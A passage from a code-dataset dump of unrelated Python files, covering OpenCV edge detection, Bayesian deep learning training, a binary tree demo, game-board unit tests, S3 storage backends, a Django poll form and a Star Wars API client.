'0'\ncv2.createTrackbar(switch, 'image',0,2,nothing)\n\nwhile(1):\n s = cv2.getTrackbarPos(switch,'image')\n\n if s == 0:\n cv2.imshow('image',img)\n elif s == 1:\n cv2.imshow('image',edges)\n elif s == 2:\n cv2.imshow('image',blur)\n \n \n \n \n k = cv2.waitKey(1) & 0xFF\n if k == 27:\n break\n\n # get current positions of four trackbars\n p_blur = cv2.getTrackbarPos('Blur','image')\n p_edges = cv2.getTrackbarPos('Edges','image')\n p_threshold = cv2.getTrackbarPos('Threshold','image')\n\n if p_blur % 2 == 0:\n p_blur=p_blur+1\n \n img = cv2.imread('net.jpg')\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n blur = cv2.GaussianBlur(gray,(p_blur,p_blur),0)\n edges = cv2.Canny(blur,50,150,apertureSize = p_edges)\n\n \n \n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"Software/Vision/checklines.py","file_name":"checklines.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"209434155","text":"import argparse\nimport torch\nimport models, swag, data, utils, laplace\nimport torch.nn.functional as F\nimport numpy as np\n\nparser = argparse.ArgumentParser(description='SGD/SWA training')\nparser.add_argument('--file', type=str, default=None, required=True, help='checkpoint')\n\nparser.add_argument('--dataset', type=str, default='CIFAR10', help='dataset name (default: CIFAR10)')\nparser.add_argument('--data_path', type=str, default='/scratch/datasets/', metavar='PATH',\n help='path to datasets location (default: None)')\nparser.add_argument('--use_test', dest='use_test', action='store_true', help='use test dataset instead of validation (default: False)')\nparser.add_argument('--split_classes', type=int, default=None)\nparser.add_argument('--num_workers', type=int, default=4, metavar='N', help='number of workers (default: 4)')\nparser.add_argument('--model', type=str, default='VGG16', metavar='MODEL',\n help='model name (default: VGG16)')\nparser.add_argument('--save_dir', type=str, default=None, required=True, help='path to npz results file')\nparser.add_argument('--cov_mat', action='store_true', help='save sample covariance')\nparser.add_argument('--seed', type=int, default=1, metavar='S', help='random seed (default: 1)')\nparser.add_argument('--loss', type=str, default='CE', help='loss to use for training model (default: Cross-entropy)')\nparser.add_argument('--wd', type=float, default=1e-4, help='weight decay (default: 1e-4)')\n\nargs = parser.parse_args()\n\ntorch.backends.cudnn.benchmark = True\ntorch.manual_seed(args.seed)\ntorch.cuda.manual_seed(args.seed)\n\nprint('Using model %s' % args.model)\nmodel_cfg = getattr(models, args.model)\n\nprint('Split classes', args.split_classes)\nprint('Loading dataset %s from %s' % (args.dataset, args.data_path))\nloaders, num_classes = data.loaders(\n args.dataset,\n args.data_path,\n 1,\n args.num_workers,\n model_cfg.transform_train,\n model_cfg.transform_test,\n use_validation=not args.use_test,\n split_classes=args.split_classes\n)\n\nif args.cov_mat:\n args.no_cov_mat = False\nelse:\n args.no_cov_mat = True\n\nprint('Preparing models')\nswag_model = swag.SWAG(model_cfg.base, no_cov_mat=args.no_cov_mat, max_num_models=20, loading=True, *model_cfg.args, num_classes=num_classes, **model_cfg.kwargs)\nswag_model.cuda()\nlaplace_model = laplace.Laplace(model_cfg.base, *model_cfg.args, num_classes=num_classes, **model_cfg.kwargs)\nlaplace_model.cuda()\n\nprint('Loading model %s' % args.file)\ncheckpoint = torch.load(args.file)\nswag_model.load_state_dict(checkpoint['state_dict'])\n\nif args.loss == 'CE':\n criterion = F.cross_entropy\nelse:\n criterion = F.mse_loss\n\nif not args.cov_mat:\n mean, var = swag_model.export_numpy_params()\n laplace_model.import_numpy_mean(mean)\n\nelse:\n mean, var, cov_mat_list = swag_model.export_numpy_params(export_cov_mat=True)\n laplace_model.import_numpy_mean(mean)\n\n laplace_model.import_numpy_cov_mat_sqrt(cov_mat_list)\n\nlaplace_model.import_numpy_mean(mean)\n\n#variance estimation\nprint('Estimating variance')\n#i used 1e-4 for weight decay when training the mlps\nlaplace_model.estimate_variance(loaders['train'], criterion, tau=args.wd)\n\n\nif not args.cov_mat:\n print('Estimating Scale')\n scale = laplace_model.scale_grid_search(loaders['train'], criterion)\n print('Best scale found is: ', scale)\n\n model_file_name = 'laplace'\nelse:\n scale = 1.0\n model_file_name = 'swag-laplace'\n\n\nutils.save_checkpoint(\n args.save_dir,\n checkpoint['epoch'],\n model_file_name,\n state_dict=laplace_model.state_dict(),\n scale=scale\n)","sub_path":"swag_laplace.py","file_name":"swag_laplace.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"606239125","text":"# Tree structures\n# each item added is a node and connected by link\n# Binary tree - node has as much as two connections\n# Python doesn't have built-in tree object\n\nclass binaryTree:\n def __init__(self, nodeData, left=None, right=None):\n self.nodeData = nodeData\n self.left = left\n self.right = right\n\n def __str__(self):\n return str(self.nodeData)\n\ntree = binaryTree(\"Root\")\nBranchA = binaryTree(\"Branch A\")\nBranchB = binaryTree(\"Branch B\")\ntree.left = BranchA\ntree.right = BranchB\nLeafC = binaryTree(\"Leaf C\")\nLeafD = binaryTree(\"Leaf D\")\nLeafE = binaryTree(\"Leaf E\")\nLeafF = binaryTree(\"Leaf F\")\nBranchA.left = LeafC\nBranchA.right = LeafD\nBranchB.left = LeafE\nBranchB.right = LeafF\n\n# use recursion to traverse\ndef traverse(tree):\n if tree.left != None:\n traverse(tree.left)\n if tree.right != None:\n traverse(tree.right)\n print(tree.nodeData)\n\ntraverse(tree)","sub_path":"tress.py","file_name":"tress.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"122693732","text":"from battlemap import *\nfrom json import JSONDecoder\nimport unittest\n\nclass BattlemapTest(unittest.TestCase):\n def test_create_token(self):\n cmd = create_test_token_data('974', 'gareth', 120, 190, '#103030')\n t = Token(cmd['token'])\n self.assertEqual(t.id, '974')\n self.assertEqual(t.label, 'gareth')\n self.assertEqual(t.pos, Pos({'x': 120, 'y': 190}))\n\n def test_add_token(self):\n bm = Battlemap()\n cmd = create_test_token_data('974', 'gareth', 120, 190, '#104440')\n response = bm.handle_message(cmd)\n self.assertTrue(bm._token_exists('974'))\n cmd = create_test_token_data('974', 'gareth', 100, 490, '#301120')\n bm.handle_message(cmd)\n token = bm.get_token('974')\n self.assertTrue(bm._token_exists('974'))\n self.assertEqual(token.pos.x, 100)\n self.assertEqual(token.pos.y, 490)\n self.assertEqual(token.colour, '#301120')\n self.assertEqual(bm.num_tokens(), 1, \"Editing a token does not create a new one.\")\n \n def test_delete_token(self):\n \"\"\"Given a dict specifying the token to be deleted, remove that token\n from the Battlemap.\"\"\"\n bm = Battlemap()\n bm2 = Battlemap()\n cmd = create_test_token_data('974', 'gareth', 100, 490, '#ffffff')\n bm.handle_message(cmd)\n delcmd = {'delete_token': '974'}\n bm.handle_message(delcmd)\n self.assertDictEqual(bm._state, bm2._state, \"Deleting a token works.\")\n \n def test_encode(self):\n bm = Battlemap()\n cmd = {\n 'token': {\n \"id\": \"974\",\n 'label': 'gareth',\n 'colour': '#000000',\n \"pos\": {\n \"x\": 100,\n \"y\": 100\n }\n }\n }\n bm.handle_message(cmd)\n encoded = BattlemapJSONEncoder().encode(bm)\n self.assertEqual(bm._state['tokens']['974'].pos.x, 100)\n self.assertEqual(bm._state['tokens']['974'].pos.y, 100)\n decoded = JSONDecoder().decode(encoded)\n newbm = Battlemap(decoded)\n self.assertDictEqual(bm._state, newbm._state, \"Encoding and decoding preserves board state.\")\n\ndef create_test_token_data(id, label, x, y, colour):\n cmd = {\n 'token': {\n 'id': id,\n 'label': label,\n 'colour': colour,\n 'pos': {\n 'x': x,\n 'y': y,\n }\n }\n }\n return cmd\n","sub_path":"realtime/test_battlemap.py","file_name":"test_battlemap.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"105029920","text":"import torch\n\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torch.utils.data import DataLoader\n\nfrom torch import autograd\n\nimport time\nimport os\nimport fire\nimport random\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# from datasets import BatteryDataset\nfrom processed_datasets import BatteryDataset\n\n# import multiprocessing\n\nimport aesmc.train as train\nimport aesmc\nfrom models import SSM, Proposal\nimport pickle as pkl\nfrom aesmc.statistics import sample_from_prior\n\n\nclass LGSSMTrainer:\n def run(self,\n run_dir: str = './runs/',\n model_lr: float = 1e-6,\n proposal_lr: float = 1e-5,\n state_dim: int = 5,\n # action_dim: int = 3,\n obs_dim: int = 13,\n iterations: int = 100000,\n epochs_per_iter = 4,\n save_interval: int = 10,\n test_interval: int = 10,\n num_particles: int = 1000,\n sequence_length = 50,\n batch_size: int = 32,\n device_name: str = \"cuda\" if torch.cuda.is_available() else \"cpu\",\n data_dir: str = \"battery/processed_data\",\n seed: int = 100):\n np.random.seed(seed)\n random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n\n # cell_list = [os.path.join(data_dir, item) for item in os.listdir(data_dir) if os.path.isfile(os.path.join(data_dir, item))]\n if isinstance(sequence_length, int):\n sequence_length = [sequence_length,]\n elif isinstance(sequence_length, str):\n sequence_length = [int(seq_len) for seq_len in sequence_length.strip('[]').split(' ')]\n if isinstance(epochs_per_iter, int):\n epochs_per_iter = [epochs_per_iter,] * len(sequence_length)\n elif isinstance(epochs_per_iter, str):\n epochs_per_iter = [int(epoch) for epoch in epochs_per_iter.strip('[]').split(' ')]\n cell_lists = []\n for seq_len in sequence_length:\n cell_list = []\n for item in os.listdir(data_dir):\n if os.path.isfile(os.path.join(data_dir, item)):\n cell = os.path.join(data_dir, item)\n with open(cell, 'rb') as f:\n data = pkl.load(f)\n if len(data['state_information']) >= seq_len:\n cell_list.append(cell)\n cell_lists.append(cell_list)\n\n device = torch.device(device_name)\n model = SSM(state_dim, obs_dim, 5, 1, 5, 1)\n proposal = Proposal(state_dim, obs_dim, 50, 1)\n\n proposal.to(device)\n model.to(device)\n\n model_optimizer = torch.optim.Adam([{'params': model.parameters(), 'lr': model_lr}])\n proposal_optimizer = torch.optim.Adam([{'params': proposal.parameters(), 'lr': proposal_lr}])\n\n os.makedirs(run_dir, exist_ok=True)\n checkpoint_path = os.path.join(run_dir, 'checkpoint.pt')\n log_dir = None\n step = 0\n if os.path.exists(checkpoint_path):\n checkpoint = torch.load(checkpoint_path, map_location=device)\n proposal.load_state_dict(checkpoint['proposal'])\n model.load_state_dict(checkpoint['model'])\n # model_optimizer.load_state_dict(checkpoint['model_optimizer'])\n # proposal_optimizer.load_state_dict(checkpoint['proposal_optimizer'])\n step = checkpoint['step']\n log_dir = checkpoint['log_dir']\n\n summary_writer = SummaryWriter(log_dir)\n\n recorder = TrainingStats(num_particles, model, proposal, summary_writer, checkpoint_path, model_optimizer, proposal_optimizer, step, save_interval, test_interval)\n\n for i in range(iterations):\n for cell_list, seq_len, epoch_per_iter in zip(cell_lists, sequence_length, epochs_per_iter):\n dataloader = DataLoader(BatteryDataset(cell_list, seq_len), batch_size=batch_size, shuffle=True, num_workers=4)\n train.train(dataloader=dataloader,\n num_particles=num_particles,\n algorithm=\"aesmc\",\n initial=model.prior,\n transition=model.transition,\n emission=model.observation,\n proposal=proposal,\n num_epochs=epoch_per_iter,\n optimizer=model_optimizer,\n num_iterations_per_epoch=10000,\n callback=recorder,\n device=device)\n train.train(dataloader=dataloader,\n num_particles=10,\n algorithm=\"iwae\",\n initial=model.prior,\n transition=model.transition,\n emission=model.observation,\n proposal=proposal,\n num_epochs=epoch_per_iter,\n optimizer=proposal_optimizer,\n num_iterations_per_epoch=10000,\n callback=recorder,\n device=device)\n\nclass TrainingStats(object):\n def __init__(self, test_inference_num_particles, model, proposal,\n summary_writer, checkpoint_path, model_optimizer, proposal_optimizer, step=0,\n save_interval=100, test_interval=100, sample_batch_size=3, sample_sequence_length=2000):\n self.save_interval = save_interval\n self.test_interval = test_interval\n self.test_inference_num_particles = test_inference_num_particles\n self.step = step\n self.model = model\n self.proposal = proposal\n self.summary_writer = summary_writer\n self.checkpoint_path = checkpoint_path\n self.model_optimizer = model_optimizer\n self.proposal_optimizer = proposal_optimizer\n self.sample_batch_size = sample_batch_size\n self.sample_sequence_length = sample_sequence_length\n\n def __call__(self, epoch_idx, epoch_iteration_idx, loss, initial,\n transition, emission, proposal):\n self.step += 1\n if self.step % self.save_interval == 0:\n torch.save(\n dict(proposal=self.proposal.state_dict(),\n model=self.model.state_dict(),\n step=self.step,\n model_optimizer=self.model_optimizer.state_dict(),\n proposal_optimizer=self.proposal_optimizer.state_dict(),\n log_dir=self.summary_writer.log_dir), self.checkpoint_path)\n self.summary_writer.add_scalar('loss/train', loss, self.step)\n model_grad = global_grad_norm(self.model.parameters())\n proposal_grad = global_grad_norm(self.proposal.parameters())\n self.summary_writer.add_scalar('model_gradient/train', model_grad, self.step)\n self.summary_writer.add_scalar('proposal_gradient/train', proposal_grad, self.step)\n self.model.eval()\n self.model.double()\n try:\n if self.step % self.test_interval == 0:\n observations = sample_from_prior(self.model.prior, self.model.transition, self.model.observation, self.sample_sequence_length, self.sample_batch_size)[1]\n for batch in range(self.sample_batch_size):\n plt.plot(range(self.sample_sequence_length), [obs[batch, -1].item() * 3.996 + 47.025 for obs in observations])\n self.summary_writer.add_figure('filtering/test', plt.gcf(), self.step)\n plt.close()\n except:\n pass\n self.model.train()\n self.model.float()\n\n print('Step {} : Loss = {} Model Gradient = {} Proposal Gradient = {}'.format(self.step, loss, model_grad, proposal_grad))\n \ndef global_grad_norm(params):\n grad_norm = 0.0\n for param in params:\n if param.grad == None:\n continue\n grad_norm = max(grad_norm, torch.max(torch.abs(param.grad.data)).item())\n return grad_norm\n\nif __name__ == '__main__':\n fire.Fire(LGSSMTrainer)\n","sub_path":"battery/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":8142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"570028571","text":"## make a compilable latex table with yields in 12 aggregate search regions\n\nfrom __future__ import print_function\nimport os\nimport errno\nfrom bg_est import BGEst\nfrom data_obs import DataObs\nfrom results_table import ResultsTable\nfrom ROOT import TFile\n\ndef make_asr_table(output_file, lostlep, hadtau, znn, qcd, data_obs): #, \n\n # define common cut labels\n njets_cuts = ['3+', '3+', '5+', '5+', '9+']*2 + ['7+', '5+']\n nbjets_cuts = ['0']*5 + ['2+', '1+', '3+', '2+', '3+', '1+', '1+']\n ht_cuts = ['500+', '1500+', '500+', '1500+', '1500+', '500+', '750+', '500+', '1500+', '750+', '300+', '750+']\n mht_cuts = ['500+', '750+', '500+', '750+', '750+', '500+', '750+', '500+', '750+', '750+', '300+', '750+']\n\n \n with open(\"/\".join([\"output\", output_file+\".tex\"]), 'w') as fout:\n ## copy preamble already saved in output directory\n with open('output/reference/preamble.tex', 'r') as fpre:\n preamble = fpre.read()\n\n fout.write(preamble)\n ## get table and write it\n table = ResultsTable(data_obs, lostlep, hadtau, znn, qcd, mht_cuts, ht_cuts, njets_cuts, nbjets_cuts, 1, 12, \\\n \"Observed number of events and pre-fit background predictions in the aggregate search regions.\", \"tab:pre-fit-results-asrs\")\n fout.write(table.full+\"\\n\")\n\n fout.write(\"\\\\end{document}\\n\")\n \nif __name__ == \"__main__\": # to run from command line, just give the name of the BG estimation files\n import sys\n output_file = sys.argv[1]\n f_lostlep = TFile.Open(sys.argv[2])\n lostlep = BGEst(f_lostlep.Get(\"ASR/hCV\"), f_lostlep.Get(\"ASR/hStatUp\"), f_lostlep.Get(\"ASR/hStatDown\"), f_lostlep.Get(\"ASR/hSystUp\"), f_lostlep.Get(\"ASR/hSystDown\"))\n f_hadtau = TFile.Open(sys.argv[3])\n hadtau = BGEst(f_hadtau.Get(\"ASR/hCV\"), f_hadtau.Get(\"ASR/hStatUp\"), f_hadtau.Get(\"ASR/hStatDown\"), f_hadtau.Get(\"ASR/hSystUp\"), f_hadtau.Get(\"ASR/hSystDown\"))\n f_znn = TFile.Open(sys.argv[4])\n znn = BGEst(f_znn.Get(\"ASR/hCV\"), f_znn.Get(\"ASR/hStatUp\"), f_znn.Get(\"ASR/hStatDown\"), f_znn.Get(\"ASR/hSystUp\"), f_znn.Get(\"ASR/hSystDown\"))\n f_qcd = TFile.Open(sys.argv[5])\n qcd = BGEst(f_qcd.Get(\"ASR/hCV\"), f_qcd.Get(\"ASR/hStatUp\"), f_qcd.Get(\"ASR/hStatDown\"), f_qcd.Get(\"ASR/hSystUp\"), f_qcd.Get(\"ASR/hSystDown\"))\n f_data_obs = TFile.Open(sys.argv[6])\n data_obs = DataObs(f_data_obs.Get(\"ASR/hCV\"))\n\n make_asr_table(output_file, lostlep, hadtau, znn, qcd, data_obs) # , sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5] \n","sub_path":"scripts/make_asr_table.py","file_name":"make_asr_table.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"235795457","text":"\n\n#calss header\nclass _SURRENDER():\n\tdef __init__(self,): \n\t\tself.name = \"SURRENDER\"\n\t\tself.definitions = [u'to stop fighting and admit defeat: ', u'If you surrender to an experience or emotion, you stop trying to prevent or control it: ', u'to give something that is yours to someone else because you have been forced to do so or because it is necessary to do so: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_surrender.py","file_name":"_surrender.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"511426931","text":"import pandas as pd\nbim=pd.read_csv(\"chr17_phase3_bed_range.bim\",header=None,sep='\\t')\ncoords=pd.read_csv(\"../../hg19_coords.csv\",header=None,sep='\\t') \ncoord_dict=dict() \nfor index,row in coords.iterrows(): \n coord=row[1] \n name=row[3] \n coord_dict[coord]=name \nprint(\"made coord dict\") \nfor index,row in bim.iterrows(): \n coord=row[3] \n name=row[1] \n if coord in coord_dict: \n proper_name=coord_dict[coord] \n if name!=proper_name: \n print(name+\":\"+proper_name)\n","sub_path":"aux/haploblocks/plink_analysis/final/resolve_name_differences.py","file_name":"resolve_name_differences.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"143504339","text":"from django.conf import settings\nfrom storages.backends.s3boto3 import S3Boto3Storage\nimport os\nfrom tempfile import SpooledTemporaryFile\nfrom PIL import Image, ExifTags\nfrom io import BytesIO\n\nclass StaticStorage(S3Boto3Storage):\n\n def __init__(self, *args, **kwargs):\n kwargs['bucket_name'] = settings.AWS_STORAGE_BUCKET_NAME_STATIC\n kwargs['location'] = settings.AWS_STATIC_LOCATION\n kwargs['default_acl'] = 'public-read'\n kwargs['file_overwrite'] = False\n kwargs['querystring_auth'] = False\n super(StaticStorage, self).__init__(*args, **kwargs)\n\n\n\n\nclass PrivateMediaStorage(S3Boto3Storage):\n\n def __init__(self, *args, **kwargs):\n kwargs['bucket_name'] = settings.AWS_STORAGE_BUCKET_NAME_MEDIA\n kwargs['location'] = settings.AWS_PRIVATE_MEDIA_LOCATION\n kwargs['default_acl'] = 'private'\n kwargs['file_overwrite'] = False\n kwargs['custom_domain'] = False\n super(PrivateMediaStorage, self).__init__(*args, **kwargs)\n\n def _save_content(self, obj, content, parameters):\n \"\"\"\n We create a clone of the content file as when this is passed to boto3 it wrongly closes\n the file upon upload where as the storage backend expects it to still be open\n \"\"\"\n # Seek our content back to the start\n content.seek(0, os.SEEK_SET)\n\n # Create a temporary file that will write to disk after a specified size\n content_autoclose = SpooledTemporaryFile()\n\n # Write our original content into our copy that will be closed by boto3\n content_autoclose.write(content.read())\n\n # Upload the object which will auto close the content_autoclose instance\n super(PrivateMediaStorage, self)._save_content(obj, content_autoclose, parameters)\n \n # Cleanup if this is fixed upstream our duplicate should always close \n if not content_autoclose.closed:\n content_autoclose.close()\n\n\n","sub_path":"storage_backends.py","file_name":"storage_backends.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"82608654","text":"import numpy as np\nimport gym\nimport random\n\nenv = gym.make(\"FrozenLake-v0\")\n\naction_size = env.action_space.n # 16\nstate_size = env.observation_space.n # 4\n\nqtable = np.zeros((state_size, action_size)) # [16,4]\nprint(qtable)\n\ntotal_episodes = 100000\nlearning_rate = 0.8\nmax_steps = 99 # per episode\ndiscount_rate = 0.95\n\nepsilon = 1.0\nmax_epsilon = 1.0\nmin_epsilon = 0.01\ndecay_rate = 0.01\n\nrewards = [] # for saving\n\n# training\nfor episode in range(total_episodes):\n state = env.reset()\n step = 0\n done = False\n total_rewards = 0\n\n for step in range(max_steps):\n epsilon_choose = random.uniform(0, 1)\n\n # epsilon action choosing for exploration\n if epsilon_choose < epsilon:\n action = np.argmax(qtable[state, :]) # return index\n else:\n action = env.action_space.sample()\n \n next_state, reward, done, info = env.step(action)\n\n qtable[state, action] = qtable[state, action] + learning_rate * (reward + discount_rate * np.max(qtable[next_state, :]) - qtable[state, action]) # return value\n\n total_rewards += reward\n\n state = next_state\n\n if done == True:\n break\n \n episode += 1\n\n epsilon = min_epsilon + (max_epsilon - min_epsilon) * np.exp(-decay_rate * episode)\n rewards.append(total_rewards)\n\n print(\"Score over time: \" + str(sum(rewards) / total_episodes))\n print(qtable)\n\n# testing\nenv.reset()\n\nfor episode in range(5):\n state = env.reset()\n step = 0\n done = False\n print(\"****************************************************\")\n print(\"EPISODE \", episode)\n\n for step in range(max_steps):\n env.render()\n # Take the action (index) that have the maximum expected future reward given that state\n action = np.argmax(qtable[state, :])\n\n next_state, reward, done, info = env.step(action)\n\n if done:\n break\n state = next_state\nenv.close()\n","sub_path":"a-Free-Deep-Reinforcement-Learning-Course/Q learning/FrozenLake/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"641240647","text":"#!/usr/bin/env python\nfrom __future__ import absolute_import\nimport socket\nimport sys\nimport time\n\nimport tornado.iostream\nimport tornado.ioloop\n\nfrom tchannel.tornado.connection import TornadoConnection\n\n\nclass MyClient(object):\n def __init__(self, connection, sock):\n self.connection = TornadoConnection(connection)\n self.sock = sock\n\n print(\"Initiating TChannel handshake...\")\n\n @tornado.gen.coroutine\n def initiate_handshake(self):\n yield self.connection.initiate_handshake(headers={\n 'host_port': '%s:%s' % self.sock.getsockname(),\n 'process_name': sys.argv[0],\n })\n\n yield self.connection.await_handshake_reply()\n print(\n \"Successfully completed handshake with %s\" %\n self.connection.remote_process_name\n )\n\n def ping(self):\n return self.connection.ping()\n\n\n@tornado.gen.coroutine\ndef main():\n port = int(sys.argv[1]) if len(sys.argv) > 1 else 8888\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n stream = tornado.iostream.IOStream(sock)\n yield stream.connect(('localhost', port))\n print(\"Connected to port %d...\" % port)\n client = MyClient(stream, sock)\n\n yield client.initiate_handshake()\n\n N = 10000\n before = time.time()\n batch_size = 100\n for _ in xrange(N / batch_size):\n yield [client.ping() for _ in xrange(batch_size)]\n\n after = time.time()\n elapsed = (after - before) * 1000\n print(\"Finish %d iterations in %d ms\" % (N, elapsed))\n print(\"%.4f ops/s\" % ((N / elapsed) * 1000))\n\n\nif __name__ == '__main__':\n tornado.ioloop.IOLoop.instance().run_sync(main)\n","sub_path":"python/examples/tornado_client.py","file_name":"tornado_client.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"363869823","text":"def solution(routes):\n routes=sorted(routes,key=lambda x: x[1])\n n=len(routes)\n lst=[False]*n\n answer=0\n for i in range(n):\n if lst[i]:\n continue\n camera=routes[i][1]\n answer+=1\n for j in range(n):\n if (routes[j][0]<=camera)&(routes[j][1]>=camera):\n lst[j]=True\n return answer","sub_path":"Algorithm/programmers/단속카메라.py","file_name":"단속카메라.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"452919184","text":"from functions import interval\nfrom random import random\n\n\ndef M():\n \"\"\"\n Esta función calcula la primer va uniforme que satisface Un > Un+1.\n \"\"\"\n n, U_old, U_new = 2, random(), random()\n\n while U_old <= U_new:\n U_old = U_new\n U_new = random()\n n += 1\n return(n)\n\n\ndef experiment(Iter):\n sample, var = [M()], 0\n mean_old = sample[0]\n\n for n in range(1, Iter + 1):\n sample.append(M())\n mean_new = mean_old + (sample[n] - mean_old) / (n + 1)\n var = (1 - 1 / n) * var + (n + 1) * ((mean_new - mean_old) ** 2)\n mean_old = mean_new\n return(mean_new, var, n)\n\n\nif __name__ == '__main__':\n \"\"\"\n Enunciado: Utilizando la función 'M' para estimar e mediante 1000\n ejecuciones de una simulación. Calcular la varianza del estimador y dar una\n estimación de e mediante un intervalo de confianza de 95%.\n \"\"\"\n Iter = 1000\n mean, var, n = experiment(Iter)\n\n print(\"Varianza del estimador es: {}\".format(var / n))\n print(\"Varianza muestral es: {}\".format(var))\n\n print(\"\\nEstimación de 'e': {}\".format(mean))\n interval(mean, var, n)\n","sub_path":"ModelosySimulacion/modysim-master/practical6/exerc4.py","file_name":"exerc4.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"539175610","text":"# https://leetcode.com/problems/count-of-smaller-numbers-after-self/description/\n\nclass Node:\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n self.count = 1\n\nclass Solution:\n def insert(self, root, val):\n count = 0\n while True:\n if val<=root.val:\n root.count += 1 \n if not root.left:\n root.left = Node(val)\n break\n root = root.left\n else:\n count += root.count\n if not root.right:\n root.right = Node(val)\n break\n root = root.right\n return count\n\n def countSmaller(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n r = []\n if not nums:\n return r\n root = Node(nums[-1])\n r.append(0)\n for i in range(len(nums)-2, -1, -1):\n v = self.insert(root, nums[i])\n r.append(v)\n return r[::-1]\n \ns = Solution()\nnums = [5,2,6,1]\nprint(s.countSmaller(nums)) # Should return [2,1,1,0] ","sub_path":"Leetcode/count_smaller_numbers_after_self.py","file_name":"count_smaller_numbers_after_self.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"80366880","text":"from django import forms\nfrom django.forms import ModelForm\nfrom django.forms.widgets import CheckboxSelectMultiple, RadioSelect\n\nfrom .models import PollBase, PollChoiceBase\nfrom .utils import get_user_hash\n\n\nclass PollChoiceForm(ModelForm):\n class Meta:\n model = PollChoiceBase\n exclude = ()\n\n\nclass PollForm(forms.Form):\n choices = forms.ModelMultipleChoiceField(\n queryset=None,\n label=\"\",\n )\n\n def __init__(self, poll, request, *args, **kwargs):\n super(PollForm, self).__init__(*args, **kwargs)\n self.poll = PollBase.objects.get(pk=poll)\n self.user_hash = get_user_hash(request)\n kwargs = {}\n if self.poll.max_choices == 1:\n field = forms.ModelChoiceField\n widget = RadioSelect\n kwargs[\"empty_label\"] = None\n else:\n field = forms.ModelMultipleChoiceField\n widget = CheckboxSelectMultiple\n self.fields[\"choices\"] = field(\n queryset=self.poll.choices,\n widget=widget,\n **kwargs\n )\n\n def clean(self):\n cleaned_data = super(PollForm, self).clean()\n choices = cleaned_data.get(\"choices\", None)\n poll = self.poll\n min_choices = poll.min_choices\n max_choices = poll.max_choices\n if choices:\n if isinstance(choices, PollChoiceBase):\n choices = [choices]\n num_choices = len(choices)\n else:\n raise forms.ValidationError(\"No choices selected\")\n if min_choices and num_choices < min_choices:\n raise forms.ValidationError(\n \"You selected {num_choices} item(s), which is below the min {min_choices} choice(s).\"\n .format(num_choices=num_choices, min_choices=min_choices)\n )\n if num_choices > max_choices:\n raise forms.ValidationError(\n \"You selected {num_choices} item(s), which is above the max {max_choices} choice(s).\"\n .format(num_choices=num_choices, max_choices=max_choices)\n )\n # Check to make sure user hasn't voted within time frame\n if poll.user_hash_can_vote(self.user_hash):\n poll.add_votes(choices, self.user_hash)\n return cleaned_data\n else:\n raise forms.ValidationError(\n \"You must wait at least ________ years to vote again!\"\n )\n","sub_path":"democracy/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"67435208","text":"from collections import namedtuple\nfrom typing import Type, Dict, Tuple\n\nimport requests\nfrom requests import Request\nfrom src.errors import HttpRequestError\n\n\nclass SwapiApiConsumer:\n \n ''' Class to consume swapi api with http requests '''\n \n def __init__(self) -> None:\n self.get_starships_response = namedtuple('GET_Starships', 'status_code request response')\n \n \n def get_starships(self, page: int) -> Tuple[int, Type[Request], Dict]:\n req = requests.Request(\n method='GET',\n url='https://swapi.dev/api/starships/',\n params={'page': page}\n )\n \n req_prepared = req.prepare()\n \n response = self.__send_http_request(req_prepared)\n status_code = response.status_code\n \n if status_code >= 200 and status_code <= 299:\n return self.get_starships_response(\n status_code=response.status_code, request=req, response=response.json()\n )\n \n else:\n raise HttpRequestError(\n message=response.json()['detail'], status_code=status_code\n )\n \n @classmethod\n def 